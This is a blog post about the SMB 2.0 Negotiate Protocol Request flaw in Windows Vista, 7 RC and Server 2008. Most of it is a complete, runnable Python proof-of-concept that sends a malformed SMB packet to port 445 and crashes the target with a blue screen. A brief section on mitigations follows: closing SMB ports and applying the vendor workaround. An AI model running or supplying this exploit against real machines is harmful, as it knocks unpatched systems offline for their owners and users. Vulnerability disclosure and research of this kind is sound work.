Today is Monday, 5th December 2016
Advertisement:

Windows Vista/7/2008 SMB 2.0 Negotiate Protocol Request Remote B.S.O.D.

windows-vista72008-smb-2-0-negotiate-protocol-request-remote-b-s-o-d

Watch out for worms peoplez. A remote exploit is out for Vista and Windows 7 that can cause a blue screen of death (bsod) and likely more. Additional information can be read here. Though the page doesn’t state it, Windows 2008 with SP2 is also effected. Check out the Proof of Concept (PoC) for the vulnerability, as well as a workaround to protect yourself–

PROOF OF CONCEPT
-------------------------
Smb-Bsod.py:

#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error

from socket import socket

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

Systems Effected: Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008 < R2, Windows 7 RC. NOT the final version of 7. Solution: No patch available for the moment. Close SMB feature and ports, until a patch is provided. Configure your firewall properly. You can also follow the MS Workaround.

Incoming search terms:

  • SMB 2 0 NPR Remote BSOD Tool

Leave a Reply





Sponsored

Affiliate Articles:

Amazon Deals

Top